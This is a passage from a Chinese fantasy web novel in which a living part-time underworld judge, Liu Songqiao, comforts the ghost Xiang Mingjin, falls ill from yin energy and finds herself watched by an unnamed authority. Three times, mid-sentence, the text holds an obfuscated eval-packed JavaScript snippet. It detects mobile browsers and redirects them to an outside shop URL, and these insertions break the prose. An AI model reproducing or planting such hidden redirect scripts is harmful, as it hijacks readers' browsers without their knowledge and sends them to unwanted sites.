刘松巧心想完蛋了完蛋了,是不是得罪人了,还能不能抢救一下,赶快补充道:“真不是……” “抱歉抱歉,忘了点灯。” 向老师略带歉意浅浅一笑,伸手打了个清脆的响指。 他身后瞬间亮起点点星火。 从门口望去,星火如同长廊挂在半空,指引出一条路直通深处。 向老师躬身抬手道:“请进。” 刘松巧小时候暑假回老家长住,整天疯玩,但最快乐的还是晚上。正值草木丰茂时期,萤火虫成群结队穿梭于夜幕中,她兴奋地扑向金色光团,却只能抓个空,不一会儿光团便散落到四方。 此刻萤火般的星芒近在咫尺,她小心地伸出手试图触碰…… 星芒如回忆中一样未等靠近便倏然远去,在空中划出一道明亮的弧线。 刘松巧略微有些失落地放下手,下一秒如同天光破晓,侧方瞬间被照亮。眼前显现出多彩景物,鲜艳色彩霎时冲破黑暗。 每进一步,周遭星芒便飞散点亮四方,刘松巧睁大了眼细看,星芒飞出一定距离便坠落下去,所到之处如火焰腾起。新生的柔光笼住一方,但也不至于白昼那样一览无余,为黑夜留出大段篇幅以作留白。 小池塘水草丰茂,塘边绿树成荫,太湖石嶙峋奇丽,入门长廊曲折绕行池边,弧度优美。 刘松巧一路没合拢嘴,猜到这里面别有洞天,但远在她意料之外。面对美妙景致,她想说点什么有文化的词儿,张了张嘴,可惜书到用时方恨少,相比面前雅景,着实太俗。 刘松巧觉得此情此景十分眼熟,忽然想到:“好像苏州园林啊!” 向老师回头应声:“有些渊源,没想到你在这上面还有涉猎。” 刘松巧嘿嘿一笑,其实只是去旅游罢了,哪有什么特别的见识,不过夸她她就当礼收了。 向老师将她引到一处临水小轩稍候,自己先去沐浴更衣。 刘松巧还在担心一个人枯坐会不会太无聊,几个巴掌大的纸质傀儡蹦蹦跳跳地跑了过来,一个端茶倒水,一个捶腿按摩,更有意思的是还会弹琴,别看人家手短,一个在左拨弄琴弦,一个在右来回滑按,琴声倒也像模像样。 不愧是风雅古人,连家中傀儡都这么有格调。 杯中茶叶分明,水色温润,清香四溢,闻起来比上次的普洱更令人心旷神怡。有个个子高些的傀儡还忙着磨茶粉,身前十几件茶具一字排开。 根据她仅有的一点历史知识,应该是宋代点茶?一排茶具要是都用上一遍,想来十分复杂,与其说是制茶,倒更像是行为艺术。 刘松巧也没客气,一杯接一杯地大口喝茶,茶水醇香回甘,入喉鲜爽。也别怪她牛饮,好喝就该喝个痛快! 向老师姗姗来迟,此时繁琐的点茶流程已经到了最后一步,刘松巧的茶杯也已空了四回,本人正呆呆望着檐下一树含苞待放的粉玉兰。 “抱歉,让您久等了。” 刘松巧转回头一看,这还是她认识的向老师吗?眼前人穿了身白绸长衫,外罩玉绿纱衣,长发松松挽起,细看五官似乎都变得柔和俊俏。 “向老师,你……”刘松巧心里咯噔一下,几乎天天相处怎么都没发现向老师长得还挺不错呢? “嗯?”向老师端起点好的茶汤,在她对面坐下。 凑近一看,确实很不错。 “向老师,你现在看上去好年轻。”刘松巧领悟其中关窍,“上班的时候总板着个脸,看上去老十岁。” “我当初,年纪和你差不多。”向老师闻言轻抿一口点茶,嘴唇上沾了些许泡沫,用白绢轻轻擦拭干净。 刘松巧恍然大悟,鬼长得年轻,那就是死的时候年轻,妥妥的英年早逝,这不是戳人家痛点吗? “当真是可惜了。” 刘松巧说完这句话,向老师眼底闪过一抹悲伤,转瞬即逝。 “没什么,今天请您来做客,不谈这些。”向明今让傀儡递上一盘子糕点,看上去比第一次开庭前那盘更可口,“感谢您施以援手。” 这次刘松巧没客气,捏起一块金灿灿的酥饼,咧嘴笑道:“大家都是同事,代个班有什么大不了的,不用这么客气。”说完直接大咬一口,外皮酥脆,内馅湿润,而且一点都不甜腻,是她喜欢的味道。 “不止今天,这些日子你来帮忙,大家有目共睹,虽说都是同事,能和我们这些死人亲近的,不太多。”向明今语气沉重起来,刘松巧感觉自己吃相对不起人家的态度,赶紧三两口咽下去,擦了嘴端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275527|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正坐姿。 “也能理解,人鬼殊途,能跨过心里那道坎的人不多,不过你们都是很好的人,帮了我好几次,我来帮忙一是想回报你们,二来,二来……”刘松巧本想摆些大道理宽慰一番,发现话到嘴边还是词穷了,只能掏心窝子,“哈哈,说来也怪不好意思的,二来整天背书没空社交,晚上找你们聊聊也算放松放松。” 向老师听到这番话,脸上表情逐渐放松,嘴角微微带笑,但最后又有些凝重。许是人鬼殊途这个客观阻碍实在太强了。 刘松巧赶紧岔开话题:“先前听你说许久不来客,就没点灯,难道你回家都摸黑回来的?” 向老师竟然点了点头。 刘松巧更纳闷了,黑灯瞎火的,不是白白浪费这么大一园子?忍不住开口问句为什么。 向老师毫不觉得自己的行为有何怪异,很自然地答道:“用法术就可以感知,点灯有些多余。一人独住,也不需要那么热闹。” 刘松巧想起她奶奶还在世的时候,节约得有些过分,总要把家里的灯关到只剩一盏,美其名曰又不是过年要那么热闹做什么。 当然向老师肯定不是想省钱。 刘松巧又看向那株可爱的玉兰:“你是不用看,这一园子绿植总得见见光,不光合作用怎么活?” “月光之强远胜这点烛火,虽不及日光显耀,帝流浆带来的灵气也足够了。” 屋檐上看不见的地方有一轮月亮,无时无刻不照在地府上方。 “但这玉兰,怎么都快五月了还没开。”刘松巧毫不留情地戳穿,明明就是缺水热光照嘛! 向老师疑惑道:“明明才三月?” 刘松巧打开手机翻出日历:“你那是农历,农历三月玉兰也早该开过了。” 看向老师眼神微滞,刘松巧感觉刚才说得有些过火,赶紧找补:“水热条件不好,能开花就已经很难得了,我看其他地方都没有花的影子。”所幸向老师下了班还是有一副好脾气,没和她计较。 “你说的也没错,上一次看到玉兰花开,已经是五年前了。” 向明今转头看向池塘,怅然若失。 “如果没其他事,就不打扰你休息了,我还要早起背书。”刘松巧感觉今天嘴太不乖巧,老在戳人伤疤。起身离场,回去好好反思一下。 向老师嘱托道:“温书自然要紧,但切记保重身体,万万不可为学业损耗生命。” 向老师这番话应当是关心,刘松巧却听出了郑重其事的味道。 “我明白,不过,是有什么前车之鉴吗?”刘松巧嘴比脑子先行一步,说完直想抽自己。 向老师放下茶碗,一言不发,神色悲怆。没看错的话,这是,要哭了? 刘松巧啊刘松巧,你今天都说了些什么呀? “不用说,我照做就是了,你千万别,别……”她赶紧伸手想要阻止向老师再沉浸下去,手忙脚乱差点一把按在他头发上。 “都到这份上了,你要不还是听我说说。”向明今无奈一笑,眼神却比哭还难受。 刘松巧连忙坐回去,洗耳恭听。 “你之前问过我科举,还有这次的前车之鉴……” 向老师渐渐埋下了头,声音都在发抖。 “前车之鉴,是我。” 15. 一事无成? 他刚说了什么? 刘松巧像遭了闪光弹一样呆滞当场,失去做出任何反应的能力。 向老师低头沉默,她看不见他的表情,是什么样的悲伤、痛心、悔恨,还是,绝望? 她不敢想,也不敢看。 她感觉自己闯下天大的祸,无意间推下一个小球,没想到后面是一整套多米诺骨牌,偏偏最后砸出个石破天惊。 向老师往常是一座冰山的话,现在就是烈日下孤零零的雪人,只是看上去还有个形在那儿,实际全身都要化掉了。 她不敢伸手去扶,怕他就地化成一滩水;也不能就这么眼睁睁看着,假装无动于衷。 死脑子,快转啊! 刘松巧实在没办法,离座蹑手蹑脚地挪到向老师身侧蹲下。 向老师没动弹,如果他还能吸气,可能会不住地大口深呼吸,或是因为呼吸性碱中毒喘不上气。 但他现在只是这么杵在原地,胸口早在许多年前就不再有起伏。 刘松巧有些难受,她自认共情能力不太强,此刻心中也不免酸涩。她自己都受不了和人这样剖白几次落榜,何况还是生理心理双重重创,大概率还涉及到死亡这种沉重话题。 虽然不是故意要提的,但她觉得自己真不是个东西。 自己的状况……她只能设身处地想想,若是她,此时会想听些什么。 “对不起。”刘松巧十分郑重地说下这三个字作为开头。 她顿了顿,一鼓作气说道:“我知道,我不能完全体会你的心情,如果你觉得说出来痛快些就说,如果你觉得闭嘴把话憋回心里不会更痛,那我陪你静一会儿。” 刘松巧伸手轻轻抓住向老师的手臂,触手生寒,一会儿便传导到整个手臂,半边身子都凉浸浸的。 她清楚地记得,刚因为一分之差落榜的时候,哭得昏天黑地,内心是无尽的空虚与害怕,爸妈轻轻搂着她,才让内心感觉有所依靠。 他俩也没亲近到可以抱一抱,古人还有所谓的男女大防,她只敢抓住他的手,希望能缓解一丝他的痛苦。 向老师终于缓缓侧过头,长发阻隔看不清他的脸。刘松巧还想说些什么,但他轻轻地把手臂从她手中抽了出来。 “不必如此,我还好。”声音听上去有些虚弱,内心应当刚经历一番天崩地坼、雷霆血雨。 刘松巧怔怔收回手,掌心冰得有些酸痛,转而变成麻木。 “还请别碰我。”向老师声音沙哑,手指不自觉地摩挲衣料。就在刘松巧开始反省唐突了人家的时候,又开口说道:“对你不好。” 刘松巧略沉肩松了口气,轻手轻脚地坐了回去。 向老师身子有些前倾,长发垂下半遮面,表情看不太真切,面部肌肉看上去还是很紧张。 刘松巧就这么静静等着,伴着月光和满园花草树木一起静静等他做出自己的选择。原先热闹的纸傀儡都趴倒在地,等候复活那一刹。 刘松巧脑子里跑马灯似的回想起两人相处的一幕幕,当记忆滚到最初那一盏灯时,向老师终于缓缓抬起头来。 没有她想的那般惊天动地,或许最激烈的情绪早已消化殆尽。他眼中净是疲惫,眉眼嘴角都无力地耷拉着。 刘松巧深觉狠透支了一把对方的情绪价值,不自觉带着歉意道:“对不……” 向老师却自顾自地打断了她的低语:“我刚来的时候,恨不得向全天下倾诉委屈,希望有人能安慰我。” 语句停顿,话意未尽,刘松巧清楚这时候不能插嘴。 向老师自嘲道:“太久不提,竟然不敢揭了。” 刘松巧看他笑得勉强,点点头,又摇摇头。 “也没什么大事,就是从小身体不大好,读书读坏了,春闱入闱几天竟没能撑住。” 向老师说得云淡风轻,仿佛只是他人故事。刘松巧怀疑他是不是已经死得不能再死了,不再生出什么波澜。或是为了保护自己的一种状态,叫什么解离来着? “春闱,得先过了秋闱才能进,那是大学霸啊。”刘松巧只能凭着感觉说话,捧一捧,不会有事吧? 向老师却淡淡摇头:“到底一事无成。” “怎么就一事无成了?!”刘松巧激动地一拍桌子,向老师猛地吓了一跳。 “你活着的时候具体怎么样我不知道,过了秋闱就是已经是百里挑一,不,千里挑一的人才了,不宜妄自菲薄这句你总学过吧?” 向老师被说得眼神都清澈了,懵然盯着刘松巧点头。 刘松巧犹嫌不够:“你到这儿来当鬼差,法术也修得不错,每次出外勤全靠你,你说你没用?” 向老师小声道:“嗯……我刚说的一事无成。” “好,你说你没做成事,你管什么叫事,总不能非得建功立业封侯拜相才叫事,那我们普通人就不能成点事了?”刘松巧掰着手指数,“你看,平常维护地府秩序有你一份功劳,否则这满大街拳王争霸赛;我们办案子靠你维持秩序,还时不时要你帮忙给点建议,办案子不能没有你。” 刘松巧越说越起劲,向老师就专注地看着她。 “你人又和气,还会提供情绪价值,我们没时间做的你都肯帮忙去跑,连周叔都夸你敬业,你有什么好在这儿悔不当初的。” 听到后面,向老师眼中逐渐恢复了神采,最后垂眸浅笑:“嗯,是我不对。” 刘松巧见状偃旗息鼓,刚才脑门一热秃噜一大堆,实在太不客气了。哪有这种自己犯了错还颐指气使要别人认错的? “好了好了,也不早了,不是要回去背书吗?” 向老师笑容如春风过处,刘松巧看得不尤愣了。 “我就说你该多笑笑嘛。” 刘松巧第二天没能起得来。 大半夜谈心一来耗时太久,二来情绪激动远胜过山车,三来阴气太重神思倦怠,一觉睡到十点,睁眼看到书桌上的教材简直有些后悔。 浪费时间,也是可耻的浪费。 可一起身就感觉不对劲了,头重脚轻,身体悬浮,心口闷得慌。昨晚摸过向老师的手还有些冰,摸着额头甚是火热。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275528|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会就发烧了吧? 温度计明确告诉她这个不合时宜的事实,刘松巧赶紧出门去诊所。吃了药又急急抱起书本,可惜整个人都有些飘,看了也不进脑子,只能回床上躺着。 迷迷糊糊睡着了,看见向老师离着她一丈远,仍旧一身黑袍,神情严肃。 向老师好像想说什么,过了半天却只耸了耸肩。 “去找程姐,她能治。” 刘松巧乖乖跟着走,又乖乖在沙发上躺下,但程姐拿着把刀对准她的时候,她不行了。 内科不需要外科疗法吧! “躺回去,阴气太多只能用这个法子了。”程姐这次不开玩笑了,眼神冰得吓人。刘松巧被瞪得害怕,手脚不自觉缩了回去。 “那,疼吗?” 她没有尖锐恐惧症,还能克服下对刀刃的恐惧,但疼不行。 “谁让你乱来的,还有你,”程姐朝着向老师那边吼,吼完又转过头继续说她,“出了事就自己受着,还怕疼,小命还在都算你走运。” 刘松巧还在留神程姐说的话,一个不注意明晃晃的刀刃直接插入她的心脏。 还没感受到痛觉,就因为场面过于刺激,她当场吓晕了过去。 总算是身体力行得出了结论,梦里也可以睡觉。 迷迷糊糊醒来时已到黄昏,眼前还是家里卧室。胸口隐约有些刺痛,刘松巧吓得赶紧爬起来摸摸皮肤,还好,破皮都没有。 她这么突然坐起来,头也不昏了,手也不冷了,浑身舒坦得像没生病。 准确说就是没生病。 刘松巧兴奋地爬起来跑了两步,发现头疼脑热真的消失了,于是又稳坐书桌前。 今日睡得太久,半夜无论如何难以入睡,直到凌晨三点方才有些倦意。 这次她没见到向老师。 程姐一脸不快地坐在工位上等她,眼神像半夜抓住她偷玩手机的亲妈。 “没想到,你这么没分寸。”程姐开口的威压让刘松巧差点想跪下来,却被指着往凳子上坐。 “大半夜的,不务正业去胡闹。” 刘松巧连连点头,确实昨天不像话,说话不把门还脑子不够用。 “真出了大事,哭都来不及,规矩不是定着好看的。” 刘松巧主动道歉:“是我不该冲动,我错了。” 程姐却打断她:“不用说话,我听得见。” “以后减少工作之外的接触,不要在这儿滥发善心。向明今和你什么关系,你非得要帮他一把?” 刘松巧心想,是没什么关系,但就在眼前也不忍心就这么看着啊。 程姐翻了个白眼,但没冲她发火,按捺住性子教育她:“成年人了,学会忍耐。” 刘松巧还在想这样是不是太无情了,程姐忽然凑近冷声道:“没那个本事,不配有好心。” 刘松巧嗯嗯点头,连说知道了。 程姐见她认错态度良好,沉默走开继续工作,刘松巧也准备起身。 脑中突然有声音响起:“别回头,有人在盯着你。” 16. 做你该做的 别回头,有人在盯着你。 脑中回响着这句话,刘松巧整个人都紧绷起来,一股凉气从脚底直窜头顶。 什么人?为什么要盯着她? 程姐没有回答,专心处理起文件,好像那句话与她无关似的。 刘松巧不知手脚该怎么放,端坐桌旁,不轻举妄动,是不是就能安全些?向老师也不见了,不会有事吧? 在此天人交战之际,大门嘎吱一声被推开。 刘松巧脖子僵硬地慢慢转过去看来者,这么小幅度的动作不会惊动她背后的人吧? 看到白色身影那一刻,她悄悄松了口气。还好,是她认识的人,不,鬼。 “程姐。”来者声音清澈,白衣翩跹,正是上次和Leo一起出现的元碧君。 “带她出去。”程姐头也不抬地指了指刘松巧的方向,刘松巧如获大释般从座位上解放出来。 刘松巧从小爱看神话故事,记不清哪个神话里有个琴师的妻子去世,琴师用琴声感动冥王,得以有机会把妻子从冥界带回人世,但条件是他绝不可以回头。故事里总是这样,越说不能干什么便越要试一下,他忍不住一回头,妻子随即堕回冥界,从此永远阴阳两隔。 她坚信,不听老鬼言,吃亏在眼前,程姐说不回头,她绝不越雷池半步! 元碧君走路速度不慢,刘松巧在后面一路小跑生怕被丢下,幸好梦里动一动不太费体力。 “元姐姐,等等我!”连着拐了两个街角,刘松巧实在有些追不上了,要再不喊,怕是要被丢下了。 “何事?”元碧君款款转身,面色从容,浑身上下一丝不苟。 刘松巧感觉自己跑得和条快中暑的狗一样狼狈,偏偏人家从从容容地甩她一条街。 “我跟不上了,您慢点。” 元碧君歪了歪头,淡淡地应了声“好”。 总算得以并肩走在路上,刘松巧谨记人鬼友好社交距离,与元碧君隔开些许距离。 “元姐姐,我能问问题吗?”刘松巧不敢回头,用只有她俩能听见的声音问道。 其实她也有些担心,万一背后之人也会读心呢?不过,要是背后之人会读心,程姐也不必多此一举用传音的方式提醒她。 以防万一,投石问路,这个问题总不算出格吧? “问。” 向老师和元碧君给她的感觉很像,略有些不同在于,向老师冷面冷语,但是恨不得把问题掰开揉碎了说清楚,元碧君则惜字如金,似乎天生不爱说话。 不过上次她还会开玩笑吐舌头来着,向老师也认证她脾气好,应该不难相处吧? “咱们要去哪儿?” 刘松巧继续试探,如果这个问题被否她就此闭嘴。不过怎么像在玩扫雷? “到了自会明白。” 刘松巧被迫先按住好奇心,现下只能信任程姐,相信她的安排不会有错。 她这两天最大的收获,或者说是教训,就是重新认识这个地方,鬼有鬼的规则,阴间再有人味儿,到底不是她长住的人间。 七拐八绕到一个偏僻巷子里,空气变得炽热起来,与寻常弥漫阴气冷飕飕的酆都街道不太一样。 刘松巧感觉身上寒意驱散几分,但仍迷茫不解,这个地方和她有什么相干? 还没来得及多想,一个略有些耳熟的声音打断她的思路。 “你不该这么拉!再圆点,再圆点。” 绕过两米高的竹篱笆,视野内变得热闹起来。砖块砌成的奇怪房子造型怪异,要圆不圆,方也只有部分方,高处直冲天,矮处站个小学生都怕碰了脑袋,看上去不是用来住的。 房前几人皆一身短打,忙前忙后热火朝天,只有一个穿polo衫的例外,正杵在拉泥胚的老爷子身前不停比划。 “你懂什么,这叫残缺、古朴的韵味,都完美无缺了我做什么?” 拉泥胚的老者抬头,刘松巧看清他的脸,是上次案子那位窑工,不过当时没看卷宗,是姓什么来着…… “金老板,白师傅。”元碧君微微欠身行礼,刘松巧跟在后面鞠了一躬。 上次案子的两位当事人都在这儿,几天不见打得甚是火热。 “嗨呀嗨呀,刘审判员,稀客稀客,几天不见,您……”金老板还是那般八面玲珑迎上来就要握个手,刘松巧正紧张这个,吓得差点大跳一步躲开,金老板反应过来笑容略僵收回右手,调整好面部表情又看向元碧君,“这位大人是?” 金老板习惯性要和元碧君握手,她更是动都不动一下,眼神拒人千里之外。 未免尴尬刘松巧主动承担起介绍任务:“这位是鬼使元碧君。” “咦,上次那位向大人呢?还想好好感谢一下你们做的工作。”连着吃了两次闭门羹,金老板换了个话题客套。 金老板虽只是客套一句,刘松巧却分外上心。她被盯着不好问,别人问了总不要紧吧?正常工作交流,也不至于牵扯无辜的事外人。 刘松巧也顺着话转头看向元碧君,希望她能给出些信息,有个方向就好。 元碧君眼观鼻鼻观心淡淡道:“另有公务。” 刘松巧睁大了眼扑棱眼皮,希望元碧君能看懂她的眼神示意,多透露一点,一点就行。 可惜元碧君目不斜视,凭空变出一张空白长卷,对着前方说:“判官司例行回访,请两位说说调解之后如何了。” 刘松巧无奈收回目光,呆呆地望着前方,不知道自己在这儿该做些什么。向老师从没给她说过回访什么的,是不是他又一个人全部代劳了? 刘松巧赶快小声插上一句:“元姐姐,我该干什么?” 元碧君总算肯回眸,但眼珠几不可察地往后方快速瞟过,又回到刘松巧身上。刘松巧差点以为自己眼花了。 “做你该做的。”元碧君说话一向云淡风轻,甚少这般用力咬字。 看刘松巧一脸懵然不太明白,元碧君又补上一句:“平常怎么样,你就怎么样。” 这是一切如常的意思吗?是要她放松下来当作不知道有人盯着她,还是说后面的人需要看她平常的表现? 刘松巧脑子里翻来覆去琢磨元碧君留下的几个字和重音,做她该做的,平常怎么样就怎么样。如果她不问第二句,那就是做她该做的,这个优先级排在前面。 她一个活人,在这儿该做的就只有当好她的兼职审判员。 刘松巧酝酿好情绪,眉眼嘴唇用力挤出一个开朗笑容:“金老板,您是原告,我们想先了解下您对案件调解结果的看法。过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275529|198224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么多天,您觉得怎么样?” 金老板立马进入状态,或者说他永远都在状态,商务笑容半永久挂在脸上:“我觉得很满意,非常地满意。刚才都说要感谢您还有那位向大人做的调解工作,您看这边。” 金老板往后一退,扭头看向后方,伸手指着奇怪房子,热情洋溢地说道:“我现在天天和白师傅沟通怎么样把这批瓷器烧出来,前几天塑好型的第一批已经送进去烧了,过几天就能,新鲜出炉。到时候您要不要赏个脸过来参观参观?” 刘松巧摇摇头,原来这房子是瓷窑啊。 “谢谢您对我们工作的肯定,我回去一定和向老师转达您的谢意。不过公务繁忙,届时就不来叨扰您了。”刘松巧还不习惯说漂亮场面话,临场搜肠刮肚拼成几句。她没忍住加重“一定”两个字,一定,一定要没事啊。 元碧君垂手静观,雪白长卷漂浮在半空中,一支纤细竹杆毛笔自行在纸上书写移动。不用猜,应当就是自动笔录了。 刘松巧认真回想当天调解的情况,一来要认真表现她工作称职,二来再适时提起向老师,希望能稍微左右背后人的想法。 “我记得,那天咱们调解还有个事项,是……哦对,向老师提议的,用法术复原瓷瓶,不知进展如何?” “都好都好,白师傅推荐的那位专家确实了得啊,万物修的师傅都不敢打包票,嘿,人家花一天定好方案,三天就拼齐了一整个瓶,连地上灰尘大点的瓷渣都能抠出来还原回去。”金老板边说边用拇指和食指捏出一个小点,刘松巧觉得他不做老板估计也是块说书的材料。 “现在情况呢?” “万物修的师傅在一点点拼回去,相信过不了一个月就能完好如新。”金老板呲着个牙大笑,白师傅在后面嘟囔“新什么新”。 “看来瓷瓶是没问题了,不知您俩的关系?” 白师傅从他们进来就一直专注于眼前泥胚,都懒得抬头看一眼。 金老板瞥了一眼白师傅,哈哈笑道:“这破瓶重圆,我们呢,也和好如初。” 刘松巧疑惑,我怎么觉得你们这个初也没好到哪儿去呢? 白师傅听到“和好如初”四个字切地一声,终于舍得放下手中活计。 “他,”白师傅手指着金老板,但泥土未干,往下掉了一滴,又赶快把手收回去,“话太多,要求也不合理。您看看,这做古董要的就是旧,不旧不破,就没那个味儿。他偏好,非得要完完全全的圆,而且不要一丁点瑕疵。” 最后还哼一声:“没品味。” 刘松巧哭笑不得,这两位审美不同,实在不是她能调和得了的,除非能让金老板相信品相不好更值钱,他兴许能乐意。当然这不在她职责范围内。 “那两位今后还会继续履行调解协议,嗯,就是商量好的事,会继续完成吧?”刘松巧琢磨了下说辞,这时候不适合掉书袋。 “一定一定。”金老板答得恳切,白师傅则用行动证明了他不会停。 回去就方便多了,办公室有传送点,不必再费些腿脚。刘松巧正准备触摸徽章,元碧君却一把抓住她的手,还没来得及躲,两人嗖一下就回了室内。 刘松巧震惊于元碧君难得的主动,还有…… 她的手,不凉。 17. 怪谁 她摸过向老师的手臂,像进了冰箱冷藏室;程姐更厉害,只是贴近,都像面前敞开个冷冻柜。 而元碧君则完全不同,她的手不带一丝凉意,甚至没让她产生半点冷的感觉。 但她确实是鬼使之一,这是怎么回事? 再加上是她主动抓住自己的手,很明显清楚她的举动不会过渡阴气到活人身上。这又是怎么回事? 当真神仙姐姐都是捉摸不透的。 程姐专注阅览交上去的材料,横向打开的长卷遮住了她的脸。 “孺子可教。” 刘松巧脑子里响起四个字。 得到程姐肯定,刘松巧终于能放松下来发自真心地略微笑笑。 刚才顶着被人注视的压力,她浑身上下都紧绷着,笑也是假的,幸亏练了几次手,不至于说话会紧张得发抖漏出什么破绽来。 但程姐没说危险解除了,还得打起精神来。不过这玩意儿不会跟回阳间吧,影不影响她的日常生活? 程姐没回答,只是让她脑袋嗡地一下昏睡过去。 醒来汗湿衣衫,刘松巧赶紧摸了摸额头,凉凉的,不是发烧。她松了口气,望向天花板。 离开地府应当是安全的,否则程姐不会直杠杠地把她往外推,一个字都不交待。 发烧刚好,家里准备的只有清粥小菜,正好她心里有事,也没胃口大鱼大肉。 等等,马上五一节了,距离考研不过七个月,她都在想些什么呢? 昨天那句话说得没错,做好她该做的,别的犯不着她来操心。 傍晚,Leo在聊天软件给她发了个“11.5”,简洁得不像他的风格。 刘松巧想了想,要是写清楚“十一点半梦里见”,一定会被认成耍流氓。 刘松巧卡着时间入睡,闭上眼开始给自己打气,像平常一样就好,不会有事,不会有事。 “嗨呀,松巧,好久不见。”Leo在沙发上翘着二郎腿,一看她来了,起身拍拍腿拉直西装褶皱。 “你好,确实不容易见,也就这儿偶尔碰到。”刘松巧再见到Leo有种亲切感,或许因为同是身处地府的活人? “今天有个案子,一起去吧,madam元已经在等我们了。”Leo笑得十分自在,刘松巧却不敢这么放松。 上次说别回头,是这个人永远在她背后吗?如果是这样,Leo正对着她,岂不是能看见她背后的人?要不要提醒他?或者说,只是她不能看,但别人可以? 刘松巧感觉脖子肌肉有点酸。 “你脖子打石膏啦这么硬?”程姐白了她一眼,“大方点,头一次和其他人搭档有什么不好意思的。” 刘松巧眼睛微微睁大,立马活动活动肩颈,还用手按按:“抱歉抱歉,伏案太久,斜方肌代偿了,改天去按摩一下。” Leo顺势凑过来:“用筋膜刀不错,要不我回去发你链接?” 程姐的意思不是一直不能回头,当时那个人正在她背后,是叫她别看到了,怕她自乱阵脚或者别的影响? 或者背后人就是薛定谔的猫,不能观测,观测则坍缩。 不管是哪种,她现在可以随意活动她的脖子了。 外勤地点不在酆都,元碧君带他俩进到一个白色空间,四周接天莲叶无穷碧,映日荷花,咳咳,都是白莲,也没有太阳。细看荷叶缥缈虚无,有形却并非真实。 第一次审案子也是在酆都之外,那次进的空间与这个有些相似,但素净得什么都没有,桌椅还是向老师抬手变出来的。 去酆都城外,就必须到这种空间里吗? “一分半,你想问什么,抓紧。”元碧君忽然语气紧迫地说话,刘松巧吓了一跳。 刘松巧来不及多思考:“这是哪儿?” “精神空间,活人不能直接传送出去,需要在这儿中转。”元碧君略停了一拍,看上去不习惯说话这么急,“祂暂时不能看着你,你懂的。” “祂是谁?” “不能说。于你而言,不好不坏。” 刘松巧料到了前半截没料到后半截,什么叫不好不坏?但她没时间细想。 “祂为什么监视我?” “你越界了,徽章自动触发预警,祂来处理异常。” 刘松巧看向胸前,这个徽章,原来还有这个作用? “怎么触发的?以前碰到鬼也没事。” “阴气过载,对你身体产生影响。” “谁在监测这个数值,不是你们给的徽章吗?” “权限不在我们这儿。能够出入地府的活人由上级统一管理。” 随意跨越阴阳,确实算一种特权。 “向老师呢?”刘松巧有些愧疚,说白了都是她口不择言惹的祸。 “停岗接受调查,重新评估风险。” 刘松巧心里一紧:“他还会回来吗?” “看情况。也要看你怎么表现。” “什么表现?” “昨天说过。时间到了,该怎么样就怎么样。” 刘松巧这些天背书十分卖力,没想到在这里派上用场。换做往日恐怕不能在思考问题的同时一字不错地记下这段话,但幸好记忆力经受锻炼有所增长,刚才说的每个字都清晰地印在她脑海中。 那天她抓着向老师手臂导致阴气过载,触发徽章预警,祂进而介入调查,一边让向老师停岗配合调查,一边监视她,确认他们是否有异常。 确实,于她而言,不好不坏。或者说,有好有坏。她还没来得及问,要是评估不通过,会怎么样? 看程姐和元碧君的态度,恐怕不是她能接受的,她们也不能。 心中忽然生出背水一战、破釜沉舟的决心,这就是所谓的使命感? 黑夜沉沉,云厚无光,突然从白色荷塘掉到这个场景,刘松巧拼命揉眼睛确定自己没瞎。 元碧君不知从哪儿召出一个圆球,高悬头顶,散发出柔和光芒。 刘松巧想和陈家沟说声对不起,有人有田算什么荒郊野岭,眼前和原始森林差不多的算什么,没开化? “这种地方也有鬼?” “上下五千年,哪儿没死过人呐。”Leo驾轻就熟地跟着圆球走,一身西装竟半分不影响身姿矫健。刘松巧埋头专注辨认哪里能下脚,小心翼翼踏出每一步,三两下就被甩在后面。 光源渐远,刘松巧更看不清了,犹豫要不要喊一声,元碧君已经握住了她的手。 “此刻你并非实体,无需多虑。” 被神仙姐姐牵着手掠过低矮灌木丛和乱石嶙峋,刘松巧觉得自己也有些飘了,身体在飘,脑子也在飘。 妈妈,我会飞啦! 低空飞行近百米,三人在山脊突兀处停下。刘松巧目不转睛盯着脚下不盈一尺的山,深不见底的谷,有些发晕。 真是个鬼地方。 “咱们不直接传送过来,是怕直接吓得掉下去吗?”刘松巧努力给自己打气,现在是精神状态,要不就当物理学不存在了吧。 元碧君朝山顶方向俯身作揖:“山神地界,不可擅入。” 刘松巧和Leo也有样学样朝着同一个方向行礼。 这里竟也讲究地域管辖,不过怎么要他们来跨区域执法? “出来。”元碧君的声音在山间回荡,刘松巧跟着上看下看找鬼影子。 从不同方向慢悠悠飘过来几个鬼魂,一,二,三,四…… 眼前坐着一个,太矮了刚才没看着,五。 这些人上山不是来打老虎的,超大背包,登山杖,一看就是登山客。 五人一队,这是全军覆没? 